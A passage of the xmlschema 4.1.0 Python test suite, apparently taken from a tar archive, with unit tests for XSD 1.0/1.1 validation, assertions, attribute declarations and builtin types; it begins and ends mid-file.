self.assertEqual(err.invalid_tag, 'optionalSecondChildTag') def test_invalid_default_open_content__issue_397(self): schema = self.schema_class('''\ <xs:schema elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns="urn:us:mil:nga:ntb:soddxa" targetNamespace="urn:us:mil:nga:ntb:soddxa"> <xs:defaultOpenContent mode="interleave"> <xs:any /> </xs:defaultOpenContent> <xs:complexType name="SecurityDataType"> <xs:sequence> <xs:element name="smRestrictedCollection" type="xs:boolean" minOccurs="0" /> <xs:element name="accmClassification" type="xs:string" minOccurs="0" /> </xs:sequence> </xs:complexType> <xs:element name="spaceObjectDescriptionData"> <xs:complexType> <xs:sequence> <xs:element name="securityData" type="SecurityDataType" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>''') self.assertTrue(schema.is_valid('''\ <spaceObjectDescriptionData xmlns="urn:us:mil:nga:ntb:soddxa"> <securityData> <smRestrictedCollection>false</smRestrictedCollection> <accmClassification>text</accmClassification> </securityData> </spaceObjectDescriptionData>''')) self.assertTrue(schema.is_valid(''' <spaceObjectDescriptionData xmlns="urn:us:mil:nga:ntb:soddxa"> <securityData> <accmClassification>text</accmClassification> </securityData> </spaceObjectDescriptionData> ''')) def test_all_model_with_emptiable_particles(self): schema = self.schema_class(''' <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="doc"> <xs:complexType> <xs:all> <xs:element name="a" maxOccurs="2"/> <xs:element name="b" minOccurs="0"/> <xs:element name="c" minOccurs="0"/> </xs:all> </xs:complexType> </xs:element> </xs:schema> ''') with self.assertRaises(XMLSchemaValidationError) as ec: schema.validate('<doc>\n<c/>\n<b/>\n</doc>') self.assertEqual( ec.exception.reason, "The content of element 'doc' is not complete. Tag 'a' expected." ) def test_nested_all_groups_and_wildcard(self): schema = self.schema_class(''' <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="group1"> <xs:all> <xs:element name="a" maxOccurs="2"/> <xs:element name="b" minOccurs="0"/> <xs:element name="c" minOccurs="0"/> </xs:all> </xs:group> <xs:element name="doc"> <xs:complexType> <xs:all> <xs:group ref="group1"/> <xs:any namespace="http://open.com/" processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </xs:all> </xs:complexType> </xs:element> </xs:schema>''') with self.assertRaises(XMLSchemaValidationError) as ec: schema.validate(''' <doc> <c/> <b/> <extra xmlns="http://open.com/">42</extra> <extra xmlns="http://open.com/">97</extra> </doc> ''') self.assertEqual( ec.exception.reason, "The content of element 'doc' is not complete. Tag 'a' expected." ) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('validation') �xmlschema-4.1.0/tests/validators/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016777�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000000000�15020401055�0021076�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_assertions.py�������������������������������������������������0000664�0000000�0000000�00000014552�15020401055�0022611�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib from textwrap import dedent from xmlschema import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase class TestXsdAssert(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') schema_class = XMLSchema11 def test_base_api(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="intRange"> <xs:attribute name="min" type="xs:int"/> <xs:attribute name="max" type="xs:int"/> <xs:assert test="@min le @max"/> </xs:complexType> <xs:element name="root" type="intRange"/> </xs:schema> """)) self.assertEqual(len(schema.types['intRange'].assertions), 1) assertion = schema.types['intRange'].assertions[0] self.assertEqual(repr(assertion), "XsdAssert(test='@min le @max')") self.assertTrue(assertion.built) assertion.build() self.assertTrue(assertion.built) self.assertEqual(len(list(iter(assertion))), 0) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="intRange"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="min" type="xs:int"/> <xs:attribute name="max" type="xs:int"/> <xs:assert test="@min le @max"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="root" type="intRange"/> </xs:schema> """)) assertion = schema.types['intRange'].assertions[0] self.assertEqual(len(list(iter(assertion))), 0) self.assertEqual(repr(assertion), "XsdAssert(test='@min le @max')") self.assertTrue(schema.is_valid('<root min="2" max="4">foo</root>')) self.assertFalse(schema.is_valid('<root min="5" max="4">foo</root>')) def test_assertion_on_text_content(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="rootType" mixed="true"> <xs:sequence> <xs:element name="child"/> </xs:sequence> <xs:assert test="child/text()='foo'"/> </xs:complexType> <xs:element name="root" type="rootType"/> </xs:schema> """)) self.assertTrue(schema.is_valid('<root>bar<child>foo</child></root>')) self.assertFalse(schema.is_valid('<root>bar<child></child></root>')) self.assertFalse(schema.is_valid('<root>bar<child> foo </child></root>')) def test_invalid_assertions(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> <xs:assert test="child/text()='foo'"/> </xs:simpleType> <xs:element name="root" type="rootType"/> </xs:schema> """), validation='lax') self.assertEqual(len(schema.all_errors), 1) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="rootType" mixed="true"> <xs:sequence> <xs:element name="child"/> </xs:sequence> <xs:assert/> </xs:complexType> <xs:element name="root" type="rootType"/> </xs:schema> """), validation='lax') self.assertEqual(len(schema.all_errors), 1) def test_xpath_default_namespace(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns" xmlns="http://xmlschema.test/ns" xpathDefaultNamespace="http://xmlschema.test/ns" elementFormDefault="qualified"> <xs:complexType name="rootType" mixed="true"> <xs:sequence> <xs:element name="child"/> </xs:sequence> <xs:assert test="child/text()='foo'"/> <xs:assert test="true()" xpathDefaultNamespace="http://xmlschema.test/other-ns"/> </xs:complexType> <xs:element name="root" type="rootType"/> </xs:schema> """)) self.assertEqual(len(schema.types['rootType'].assertions), 2) assertion = schema.types['rootType'].assertions[0] self.assertEqual(assertion.xpath_default_namespace, 'http://xmlschema.test/ns') assertion = schema.types['rootType'].assertions[1] self.assertEqual(assertion.xpath_default_namespace, 'http://xmlschema.test/other-ns') self.assertIsNone(schema.validate( '<root xmlns="http://xmlschema.test/ns"><child>foo</child></root>' )) self.assertFalse(schema.is_valid('<root><child>foo</child></root>')) def test_typed_value(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="rootType" mixed="true"> <xs:sequence> <xs:element name="child" type="xs:int"/> </xs:sequence> <xs:assert test="child le 10"/> </xs:complexType> <xs:element name="root" type="rootType"/> </xs:schema> """)) self.assertTrue(schema.is_valid('<root><child>10</child></root>')) self.assertTrue(schema.is_valid('<root><child>9</child></root>')) self.assertFalse(schema.is_valid('<root><child>11</child></root>')) self.assertFalse(schema.is_valid('<root><child>ten</child></root>')) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD 1.1 assertions') ������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_attributes.py�������������������������������������������������0000664�0000000�0000000�00000062441�15020401055�0022605�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2025, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib from textwrap import dedent from xmlschema import XMLSchemaParseError, XMLSchemaValidationError from xmlschema.validators import XMLSchema11, XsdAttribute, XsdAttributeGroup from xmlschema.testing import XsdValidatorTestCase from xmlschema.names import XSI_NAMESPACE, XSD_ANY_SIMPLE_TYPE, XSD_STRING class TestXsdAttributes(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_attribute_use(self): schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:string"/> </xs:attributeGroup>""") self.assertTrue(schema.attribute_groups['extra']['label'].is_optional()) self.assertFalse(schema.attribute_groups['extra']['label'].is_required()) self.assertFalse(schema.attribute_groups['extra']['label'].is_prohibited()) schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:string" use="required"/> </xs:attributeGroup>""") self.assertFalse(schema.attribute_groups['extra']['label'].is_optional()) self.assertTrue(schema.attribute_groups['extra']['label'].is_required()) self.assertFalse(schema.attribute_groups['extra']['label'].is_prohibited()) schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:string" use="prohibited"/> </xs:attributeGroup>""") self.assertNotIn('label', schema.attribute_groups['extra']) with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema('<xs:attribute name="label" type="xs:string" use="optional"/>') self.assertEqual("use of attribute 'use' is prohibited", ctx.exception.message) with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:string" use="mandatory"/> </xs:attributeGroup>""") self.assertEqual(ctx.exception.message, "attribute use='mandatory': value must " "be one of ['prohibited', 'optional', 'required']") with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:string" use=""/> </xs:attributeGroup>""") self.assertEqual(ctx.exception.message, "attribute use='': value doesn't match any pattern of ['\\\\c+']") def test_wrong_attribute_type(self): self.check_schema(""" <xs:attributeGroup name="alpha"> <xs:attribute name="name" type="xs:anyType"/> </xs:attributeGroup> """, XMLSchemaParseError) def test_attribute_reference(self): self.check_schema(""" <xs:attributeGroup name="contact"> <xs:attribute name="name" type="xs:string"/> <xs:attribute ref="phone"/> <!-- Missing "phone" attribute --> </xs:attributeGroup> """, XMLSchemaParseError) schema = self.schema_class("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" attributeFormDefault="qualified"> <xs:attributeGroup name="contact"> <xs:attribute name="name" type="xs:string"/> <xs:attribute ref="phone"/> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string" default="555-0100"/> </xs:schema>""") xsd_attribute = schema.attribute_groups['contact']['phone'] self.assertTrue(xsd_attribute.qualified) self.assertEqual(xsd_attribute.default, '555-0100') schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone"/> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string" fixed="555-0100"/> """) xsd_attribute = schema.attribute_groups['extra']['phone'] self.assertEqual(xsd_attribute.fixed, '555-0100') self.assertIsNone(xsd_attribute.annotation) schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone" fixed="555-0100"> <xs:annotation/> </xs:attribute> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string" fixed="555-0100"/> """) xsd_attribute = schema.attribute_groups['extra']['phone'] self.assertEqual(xsd_attribute.fixed, '555-0100') self.assertIsNotNone(xsd_attribute.annotation) self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone" fixed="555-0101"/> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string" fixed="555-0100"/> """, XMLSchemaParseError) with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone"> <xs:simpleType> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:attribute> </xs:attributeGroup>""") self.assertEqual("a reference component cannot have child definitions/declarations", ctx.exception.message) def test_name_attribute(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema('<xs:attribute type="xs:string"/>') self.assertEqual(ctx.exception.message, "missing required attribute 'name'") schema = self.check_schema('<xs:attribute type="xs:string"/>', validation='lax') self.assertEqual(len(schema.all_errors), 2) self.assertEqual(schema.all_errors[0].message, "missing required attribute 'name'") self.assertIn("missing key field '@name'", schema.all_errors[1].message) self.assertEqual(len(schema.attributes), 0) schema = self.check_schema('<xs:attribute type="xs:string"/>', validation='skip') self.assertEqual(len(schema.all_errors), 0) xsd_attribute = XsdAttribute(elem=schema.root[0], schema=schema, parent=None) self.assertIsNone(xsd_attribute.name) self.assertEqual(xsd_attribute.validation_attempted, 'full') with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema('<xs:attribute name="xmlns" type="xs:string"/>') self.assertEqual(ctx.exception.message, "an attribute name must be different from 'xmlns'") with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2001/XMLSchema-instance" > <xs:attribute name="phone" type="xs:string"/> </xs:schema>""") self.assertEqual(ctx.exception.message, "cannot add attributes in %r namespace" % XSI_NAMESPACE) def test_type_attribute(self): schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone" type="xs:string"/> </xs:attributeGroup>""") self.assertEqual(schema.attribute_groups['extra']['phone'].type.name, XSD_STRING) schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone"/> </xs:attributeGroup>""") self.assertEqual(schema.attribute_groups['extra']['phone'].type.name, XSD_ANY_SIMPLE_TYPE) schema = self.check_schema('<xs:attribute name="foo" type="xs:foo"/>', validation='lax') self.assertEqual(schema.attributes['foo'].type.name, XSD_ANY_SIMPLE_TYPE) schema = self.check_schema('<xs:attribute name="foo" type="x:string"/>', validation='lax') self.assertEqual(schema.attributes['foo'].type.name, XSD_ANY_SIMPLE_TYPE) self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone" type="xs:string"/> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string"/> """, XMLSchemaParseError) with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:attribute name="phone" type="xs:string"> <xs:simpleType> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:attribute>""") self.assertEqual("ambiguous type definition for XSD attribute", ctx.exception.message) def test_form_attribute(self): schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone" type="xs:string" form="qualified"/> </xs:attributeGroup>""") self.assertTrue(schema.attribute_groups['extra']['phone'].qualified) self.assertEqual(schema.attribute_groups['extra']['phone'].form, 'qualified') schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone" type="xs:string" form="unqualified"/> </xs:attributeGroup>""") self.assertFalse(schema.attribute_groups['extra']['phone'].qualified) self.assertEqual(schema.attribute_groups['extra']['phone'].form, 'unqualified') schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone" type="xs:string"/> </xs:attributeGroup>""") self.assertFalse(schema.attribute_groups['extra']['phone'].qualified) self.assertIsNone(schema.attribute_groups['extra']['phone'].form) self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="phone" type="xs:string" form="mixed"/> </xs:attributeGroup>""", XMLSchemaParseError) self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute ref="phone" form="qualified"/> </xs:attributeGroup> <xs:attribute name="phone" type="xs:string"/> """, XMLSchemaParseError) def test_default_value(self): schema = self.check_schema( '<xs:attribute name="phone" type="xs:string" default="555-0100"/>' ) schema.attributes['phone'].default = '555-0100' with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attribute name="foo" type="xs:string" default="555-0100" fixed=""/>') self.assertEqual(ctx.exception.message, "'default' and 'fixed' attributes are mutually exclusive") with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attributeGroup name="extra">' ' <xs:attribute name="foo" type="xs:string" default="555-0100" use="required"/>' '</xs:attributeGroup>') self.assertEqual(ctx.exception.message, "the attribute 'use' must be 'optional' " "if the attribute 'default' is present") with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attribute name="foo" type="xs:int" default="555-0100"/>') self.assertTrue(ctx.exception.message.startswith("default value '555-0100' " "is not compatible with")) if self.schema_class.XSD_VERSION == "1.0": with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attribute name="foo" type="xs:ID" default="XYZ"/>') self.assertEqual(ctx.exception.message, "xs:ID key attributes cannot have a default value") def test_fixed_value(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attribute name="foo" type="xs:int" fixed="555-0100"/>') self.assertTrue(ctx.exception.message.startswith("fixed value '555-0100' " "is not compatible with")) if self.schema_class.XSD_VERSION == "1.0": with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema( '<xs:attribute name="foo" type="xs:ID" fixed="XYZ"/>') self.assertEqual(ctx.exception.message, "xs:ID key attributes cannot have a fixed value") def test_attribute_group_mapping(self): schema = self.get_schema(""" <xs:attributeGroup name="attrs"> <xs:attribute name="a1" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> </xs:attributeGroup>""") attribute_group = schema.attribute_groups['attrs'] self.assertEqual(repr(attribute_group), "XsdAttributeGroup(name='attrs')") with self.assertRaises(ValueError) as ec: attribute_group['a3'] = attribute_group['a2'] self.assertIn("mismatch", str(ec.exception)) xsd_attribute = attribute_group['a2'] del attribute_group['a2'] self.assertNotIn('a2', attribute_group) attribute_group['a2'] = xsd_attribute def test_attribute_group_reference(self): schema = self.get_schema(""" <xs:attributeGroup name="alpha"> <xs:attribute name="name" type="xs:string"/> <xs:attributeGroup ref="beta"/> </xs:attributeGroup> <xs:attributeGroup name="beta"> <xs:attribute name="foo" type="xs:string"/> <xs:attribute name="bar" type="xs:string"/> </xs:attributeGroup>""") # ref="beta" does not imply a reference but only a copy # of the attributes of referred attribute group. attribute_group = schema.attribute_groups['alpha'] self.assertNotIn('beta', attribute_group) self.assertEqual(len(attribute_group), 3) self.assertIn('name', attribute_group) self.assertIn('foo', attribute_group) self.assertIn('bar', attribute_group) def test_missing_attribute_group_name(self): schema = self.get_schema(""" <xs:attributeGroup> <xs:annotation/> <xs:attribute name="a1" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> </xs:attributeGroup>""", validation='lax') self.assertEqual(len(schema.all_errors), 2) self.assertTrue(isinstance(schema.all_errors[0], XMLSchemaParseError)) self.assertIn("missing required attribute 'name'", str(schema.all_errors[0])) self.assertTrue(isinstance(schema.all_errors[1], XMLSchemaParseError)) self.assertIn("missing key field '@name'", str(schema.all_errors[1])) self.assertEqual(len(schema.attribute_groups), 0) attribute_group = XsdAttributeGroup(schema.root[0], schema, parent=None) self.assertIsNone(attribute_group.name) def test_missing_attribute_group_reference(self): self.check_schema(""" <xs:attributeGroup name="alpha"> <xs:attribute name="name" type="xs:string"/> <xs:attributeGroup ref="beta"/> <!-- Missing "beta" attribute group --> </xs:attributeGroup> """, XMLSchemaParseError) self.check_schema(""" <xs:attributeGroup name="alpha"> <xs:attribute name="name" type="xs:string"/> <xs:attributeGroup ref="x:beta"/> <!-- Unresolved name --> </xs:attributeGroup> <xs:attributeGroup name="beta"> <xs:attribute name="foo" type="xs:string"/> <xs:attribute name="bar" type="xs:string"/> </xs:attributeGroup> """, XMLSchemaParseError) schema = self.get_schema(""" <xs:attributeGroup name="alpha"> <xs:attribute name="name" type="xs:string"/> <xs:attributeGroup name="beta"/> <!-- attribute "name" instead of "ref" --> </xs:attributeGroup> """, validation='lax') self.assertTrue(isinstance(schema.all_errors[1], XMLSchemaParseError)) def test_attribute_wildcards(self): schema = self.get_schema(""" <xs:attributeGroup name="attrs"> <xs:attribute name="a1" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> <xs:anyAttribute namespace="other"/> </xs:attributeGroup>""") attribute_group = schema.attribute_groups['attrs'] self.assertEqual(len(attribute_group), 3) self.assertIn(None, attribute_group) schema = self.get_schema(""" <xs:attributeGroup name="attrs"> <xs:attribute name="a1" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> <xs:anyAttribute namespace="other"/> <xs:anyAttribute namespace="#all"/> <xs:attribute name="a3" type="xs:string"/> </xs:attributeGroup>""", validation='lax') self.assertEqual(len(schema.all_errors), 3) self.assertTrue(isinstance(schema.all_errors[0], XMLSchemaParseError)) self.assertIn("Unexpected child with tag 'xs:anyAttribute'", str(schema.all_errors[0])) self.assertTrue(isinstance(schema.all_errors[1], XMLSchemaParseError)) self.assertIn("more anyAttribute declarations", str(schema.all_errors[1])) self.assertTrue(isinstance(schema.all_errors[2], XMLSchemaParseError)) self.assertIn("another declaration after anyAttribute", str(schema.all_errors[2])) def test_duplicated_attribute(self): with self.assertRaises(XMLSchemaParseError) as ec: self.get_schema(""" <xs:attributeGroup name="attrs"> <xs:attribute name="a1" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> <xs:attribute name="a2" type="xs:string"/> </xs:attributeGroup>""") self.assertIn("multiple declaration for attribute 'a2'", str(ec.exception)) def test_duplicated_attribute_group_ref(self): with self.assertRaises(XMLSchemaParseError) as ec: self.get_schema(""" <xs:attributeGroup name="attrs"> <xs:attribute name="a1" type="xs:string"/> <xs:attributeGroup ref="other"/> <xs:attributeGroup ref="other"/> </xs:attributeGroup> <xs:attributeGroup name="other"> <xs:attribute name="a2" type="xs:string"/> <xs:attribute name="a3" type="xs:string"/> </xs:attributeGroup>""") self.assertIn("duplicated attributeGroup 'other'", str(ec.exception)) def test_scope_property(self): schema = self.check_schema(""" <xs:attribute name="global_attr" type="xs:string"/> <xs:attributeGroup name="attrGroup"> <xs:attribute name="local_attr" type="xs:string"/> </xs:attributeGroup> """) self.assertEqual(schema.attributes['global_attr'].scope, 'global') self.assertEqual(schema.attribute_groups['attrGroup']['local_attr'].scope, 'local') def test_value_constraint_property(self): schema = self.check_schema(""" <xs:attributeGroup name="attrGroup"> <xs:attribute name="attr1" type="xs:string"/> <xs:attribute name="attr2" type="xs:string" default="alpha"/> <xs:attribute name="attr3" type="xs:string" default="beta"/> </xs:attributeGroup> """) attribute_group = schema.attribute_groups['attrGroup'] self.assertIsNone(attribute_group['attr1'].value_constraint) self.assertEqual(attribute_group['attr2'].value_constraint, 'alpha') self.assertEqual(attribute_group['attr3'].value_constraint, 'beta') def test_decoding(self): schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="code" type="xs:int"/> <xs:attribute name="phone" type="xs:string" default="555-0100"/> </xs:attributeGroup>""") xsd_attribute = schema.attribute_groups['extra']['phone'] self.assertEqual(xsd_attribute.decode(None), '555-0100') self.assertEqual(schema.attribute_groups['extra'].decode({'code': '682'}), [('code', 682), ('phone', '555-0100')]) schema = self.check_schema( """<xs:attribute name="phone" type="xs:string" fixed="555-0100"/>""") xsd_attribute = schema.attributes['phone'] self.assertEqual(xsd_attribute.decode(None), '555-0100') self.assertEqual(xsd_attribute.decode('555-0100'), '555-0100') with self.assertRaises(XMLSchemaValidationError) as ctx: xsd_attribute.decode('555-0101') self.assertEqual(ctx.exception.reason, "attribute 'phone' has a fixed value '555-0100'") def test_decoding_notation_type(self): schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label" type="xs:NOTATION"/> </xs:attributeGroup>""") with self.assertRaises(XMLSchemaValidationError) as ctx: schema.attribute_groups['extra'].decode({'label': 'alpha'}) self.assertTrue(ctx.exception.reason.startswith( "attribute label='alpha': cannot validate against xs:NOTATION" )) schema = self.check_schema(""" <xs:attributeGroup name="extra"> <xs:attribute name="label"> <xs:simpleType> <xs:restriction base="xs:NOTATION"/> </xs:simpleType> </xs:attribute> </xs:attributeGroup>""") with self.assertRaises(XMLSchemaValidationError) as ctx: schema.attribute_groups['extra'].decode({'label': 'alpha'}) self.assertEqual( ctx.exception.reason, "attribute label='alpha': missing enumeration facet in xs:NOTATION subtype" ) schema = self.check_schema(""" <xs:notation name="jpeg" public="image/jpeg"/> <xs:notation name="png" public="image/png"/> <xs:attributeGroup name="extra"> <xs:attribute name="label"> <xs:simpleType> <xs:restriction base="xs:NOTATION"> <xs:enumeration value="jpeg"/> <xs:enumeration value="png"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:attributeGroup>""") with self.assertRaises(XMLSchemaValidationError) as ctx: schema.attribute_groups['extra'].decode({'label': 'alpha'}) self.assertIn("value must be one of ['jpeg', 'png']", ctx.exception.reason) class TestXsd11Attributes(TestXsdAttributes): schema_class = XMLSchema11 def test_target_namespace(self): xs = self.get_schema('<xs:attribute name="a" type="xs:string"/>') self.assertEqual(xs.attributes['a'].target_namespace, '') with self.assertRaises(XMLSchemaParseError) as ec: self.get_schema('<xs:attribute name="foo" targetNamespace="bar" type="xs:string"/>') self.assertIn("'targetNamespace' is prohibited", str(ec.exception)) xs = self.get_schema(dedent("""\ <xs:attributeGroup name="attrs"> <xs:attribute name="a" type="xs:string" targetNamespace="http://xmlschema.test/ns"/> <xs:attribute ref="b"/> </xs:attributeGroup> <xs:attribute name="b" type="xs:string"/>""")) self.assertNotIn('a', xs.attribute_groups['attrs']) self.assertIn('{http://xmlschema.test/ns}a', xs.attribute_groups['attrs']) xsd_attribute = xs.attribute_groups['attrs']['{http://xmlschema.test/ns}a'] self.assertEqual(xsd_attribute.target_namespace, 'http://xmlschema.test/ns') self.assertEqual(xs.attribute_groups['attrs']['b'].target_namespace, '') def test_prohibited_and_fixed_incompatibility(self): with self.assertRaises(XMLSchemaParseError) as ec: self.get_schema(dedent("""\ <xs:attributeGroup name="attrs"> <xs:attribute name="a" type="xs:string" use="prohibited" fixed="foo"/> </xs:attributeGroup>""")) self.assertIn("'fixed' with use=prohibited is not allowed in XSD 1.1", str(ec.exception)) def test_inheritable_attribute(self): xs = self.get_schema(dedent("""\ <xs:attributeGroup name="attrs"> <xs:attribute name="a" type="xs:string" /> <xs:attribute name="b" type="xs:string" inheritable="true"/> <xs:attribute name="c" type="xs:string" inheritable="false"/> </xs:attributeGroup>""")) self.assertFalse(xs.attribute_groups['attrs']['a'].inheritable) self.assertTrue(xs.attribute_groups['attrs']['b'].inheritable) self.assertFalse(xs.attribute_groups['attrs']['c'].inheritable) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD attributes') �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_builtins.py���������������������������������������������������0000664�0000000�0000000�00000041534�15020401055�0022250�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """Tests on XSD meta schema and XSD builtins""" import unittest from decimal import Decimal from textwrap import dedent from elementpath import datatypes from elementpath.datatypes import AbstractDateTime from xmlschema import XMLSchemaDecodeError, XMLSchemaEncodeError, \ XMLSchemaValidationError, XMLSchema10, XMLSchema11 from xmlschema.utils.etree import is_etree_element from xmlschema.validators.builtins import XSD_10_BUILTIN_TYPES, XSD_11_BUILTIN_TYPES class TestXsd10BuiltinTypes(unittest.TestCase): @classmethod def setUpClass(cls): cls.schema_class = XMLSchema10 cls.types = XMLSchema10.builtin_types() @classmethod def tearDownClass(cls): XMLSchema10.meta_schema.clear() def test_facet_lists(self): for builtin_types in (XSD_10_BUILTIN_TYPES, XSD_11_BUILTIN_TYPES): for item in builtin_types: if 'facets' in item: self.assertIsInstance(item['facets'], list) self.assertLessEqual(len([e for e in item['facets'] if callable(e)]), 1) for e in item['facets']: self.assertTrue(callable(e) or is_etree_element(e)) def test_factory(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>"""), use_meta=False, build=False) maps = schema.meta_schema.maps.copy() maps.clear() self.assertEqual(maps.global_maps.total, 0) maps.types.build_builtins(schema) if self.schema_class.XSD_VERSION == '1.0': self.assertEqual(maps.global_maps.total, 44) else: self.assertEqual(maps.global_maps.total, 48) def test_boolean_decode(self): boolean_type = self.types['boolean'] self.assertTrue(boolean_type.decode(' true \n') is True) self.assertTrue(boolean_type.decode(' 0 \n') is False) self.assertTrue(boolean_type.decode(' 1 \n') is True) self.assertTrue(boolean_type.decode(' false \n') is False) self.assertRaises(XMLSchemaDecodeError, boolean_type.decode, ' 1.0 ') self.assertRaises(XMLSchemaDecodeError, boolean_type.decode, ' 00 ') self.assertRaises(XMLSchemaDecodeError, boolean_type.decode, 'true true ') self.assertRaises(XMLSchemaDecodeError, boolean_type.decode, ' alpha \n') def test_boolean_encode(self): boolean_type = 